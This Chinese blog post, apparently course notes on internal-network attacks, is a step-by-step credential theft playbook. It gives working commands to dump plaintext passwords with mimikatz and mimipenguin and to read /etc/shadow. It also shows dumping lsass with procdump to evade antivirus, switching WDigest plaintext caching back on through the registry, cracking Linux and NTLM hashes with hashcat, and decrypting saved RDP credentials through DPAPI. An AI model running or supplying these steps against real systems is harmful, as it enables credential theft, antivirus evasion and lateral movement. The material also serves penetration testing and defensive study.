【内网安全】Win&Linux&内存离线读取&Hashcat破解&RDP&SSH存储提取

简介: 【内网安全】Win&Linux&内存离线读取&Hashcat破解&RDP&SSH存储提取

概述

1、Windows-Mimikatz适用环境:

微软为了防止明文密码泄露发布了补丁KB2871997,关闭了Wdigest功能。

当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,

此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

2008 R2版本可以抓取明文密码

2012 R2 Datacenter 版本抓不到密钥


2、Linux-mimipenguin适用环境:

Kali 4.3.0 (rolling) x64 (gdm3)

Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)

Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)

XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)

VSFTPd 3.0.3-8+b1 (Active FTP client connections)

Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)

openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)


Linux-密码获取-内存读取&密文破解&存储凭证

1、密码读取:

https://github.com/huntergregal/mimipenguin

chmod 755 ./mimipenguin.sh
./mimipenguin.sh

gg 读不出来

2、密码破解:

cat /etc/shadow

hashcat.exe -a 3 -m 1800 linuxhash.txt pass.txt

加密形式:(通过密文前缀判断)

https://hashcat.net/wiki/doku.php?id=hashcat

linux sha512crypt 6 66, SHA512 (Unix)加密方式:

hashcat -m 1800 sha512linux.txt p.txt

linux sha256crypt 5 55, SHA256 (Unix)加密方式:

hashcat -m 7400 sha256linux.txt p.txt

linux下md5crypt, MD5 (Unix), Cisco-IOS 1 11 (MD5)加密方式:

hashcat -m 500 linuxmd5.txt p.txt

inux下bcrypt 2 ∗ 2*2∗, Blowfish加密方式:

hashcat -m 3200 linuxmd5.txt p.txt

3、密码存储:SSH密匙-上节课知识点

Windows-密码获取-在线离线读取&密文破解&存储凭证

1、在线读

https://github.com/gentilkiwi/mimikatz

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"


2、离线读

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

实验1:针对防护拦截:针对防护拦截(Minikatz被拦截)

Procdump是微软官方的工具,可在命令行将lsass导出且杀软不会拦截

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full

实验2:针对高版本但有存储:管理员登陆过,密码留在了内存中

Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full

3、解决高版本

修改注册表+强制锁屏+等待系统管理员重新登录+截取明文密码
修改注册表来让Wdigest Auth保存明文口令方式

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

这里模拟用户重新登陆之后,成功抓取明文密码


4、HASH破解

https://hashcat.net/

https://www.cmd5.com/

https://www.somd5.com/

hashcat cmd5 somd5

GOD\dbadmin 518b98ad4178a53695dc997aa02d455c

https://www.cnblogs.com/Junglezt/p/16044372.html

-m 密文类型

-a 破解类型

?l 小写

?s 符号

?d 数字


字典破解:

.\hashcat.exe -a 0 -m 1000 .\hash.txt .\pass.txt    #需要密码字典

暴力破解:

hashcat.exe -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?l?l?s?s?s?d?d

5、RDP凭据抓取

查看连接记录:

cmdkey /list

查找本地的Credentials:

dir /a %userprofile%\appdata\local\microsoft\credentials\*

Credentials记录guidMasterKey值:

mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B

19d0d4f3-e495-432c-918a-ade1dc76a5e4

找到guidMasterKey对应的MasterKey:

mimikatz sekurlsa::dpapi

解密指定的MasterKey凭据:

mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:9c0ed75255d7b011294cb4944560608667e3a19bdf3ee5b0f1a58775a96e3c48aa8e5f2070bb65f774f401b13e548e99181c20dd29a7952c31031e754f59efd2

总结

windows下:

mimikatz被拦截(杀毒等):进行离线读取

操作系统过高 => 2012:离线读取、修改注册表、对hash值进行破解

利用RDP凭据

linux下:

mimipenguin 读取

相关文章
|
7天前
|
Java Linux PHP
【应急响应】后门攻击检测指南&Rookit&内存马&权限维持&WIN&Linux
【应急响应】后门攻击检测指南&Rookit&内存马&权限维持&WIN&Linux
|
18天前
|
Rust 安全 开发者
探索Rust语言的内存安全特性
【6月更文挑战第8天】Rust语言针对内存安全问题提供了创新解决方案,包括所有权系统、借用规则和生命周期参数。所有权系统确保值与其所有者绑定,防止内存泄漏;借用规则保证同一时间只有一个可变引用或多个不可变引用,消除数据竞争和野指针;生命周期参数则强化了引用的有效范围,提升安全性。通过这些特性,Rust帮助开发者编写出更健壮、安全的高性能软件,有望成为系统编程领域的领头羊。
|
24天前
|
监控 Rust 安全
Rust代码在公司电脑监控软件中的内存安全监控
使用 Rust 语言开发的内存安全监控软件在企业中日益重要,尤其对于高安全稳定性的系统。文中展示了如何用 Rust 监控内存使用:通过获取向量长度和内存大小来防止泄漏和溢出。此外,代码示例还演示了利用 reqwest 库自动将监控数据提交至公司网站进行实时分析,以保证系统的稳定和安全。
90 2
|
7天前
|
网络协议 安全 Linux
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
|
20天前
|
缓存 安全 前端开发
(转)浅谈tomcat优化(内存,并发,缓存,安全,网络,系统等)
(转)浅谈tomcat优化(内存,并发,缓存,安全,网络,系统等)
|
11天前
|
消息中间件 存储 Kafka
实时计算 Flink版产品使用问题之 从Kafka读取数据,并与两个仅在任务启动时读取一次的维度表进行内连接(inner join)时,如果没有匹配到的数据会被直接丢弃还是会被存储在内存中
实时计算Flink版作为一种强大的流处理和批处理统一的计算框架,广泛应用于各种需要实时数据处理和分析的场景。实时计算Flink版通常结合SQL接口、DataStream API、以及与上下游数据源和存储系统的丰富连接器,提供了一套全面的解决方案,以应对各种实时计算需求。其低延迟、高吞吐、容错性强的特点,使其成为众多企业和组织实时数据处理首选的技术平台。以下是实时计算Flink版的一些典型使用合集。
|
3天前
|
存储 Java C++
Java虚拟机(JVM)管理内存划分为多个区域:程序计数器记录线程执行位置;虚拟机栈存储线程私有数据
Java虚拟机(JVM)管理内存划分为多个区域:程序计数器记录线程执行位置;虚拟机栈存储线程私有数据,如局部变量和操作数;本地方法栈支持native方法;堆存放所有线程的对象实例,由垃圾回收管理;方法区(在Java 8后变为元空间)存储类信息和常量;运行时常量池是方法区一部分,保存符号引用和常量;直接内存非JVM规范定义,手动管理,通过Buffer类使用。Java 8后,永久代被元空间取代,G1成为默认GC。
11 2
|
6天前
|
存储
数据在内存中的存储(2)
数据在内存中的存储(2)
21 5
|
6天前
|
存储 小程序 编译器
数据在内存中的存储(1)
数据在内存中的存储(1)
24 5
|
7天前
|
存储 安全 Java
SpringSecurity6从入门到实战之初始用户如何存储到内存
Spring Security 在 SpringBoot 应用中默认使用 `UserDetailsServiceAutoConfiguration` 类将用户信息存储到内存中。当classpath有`AuthenticationManager`、存在`ObjectPostProcessor`实例且无特定安全bean时,此配置生效。`inMemoryUserDetailsManager()`方法创建内存用户,通过`UserDetails`对象填充`InMemoryUserDetailsManager`的内部map。若要持久化到数据库,需自定义`UserDetailsService`接口实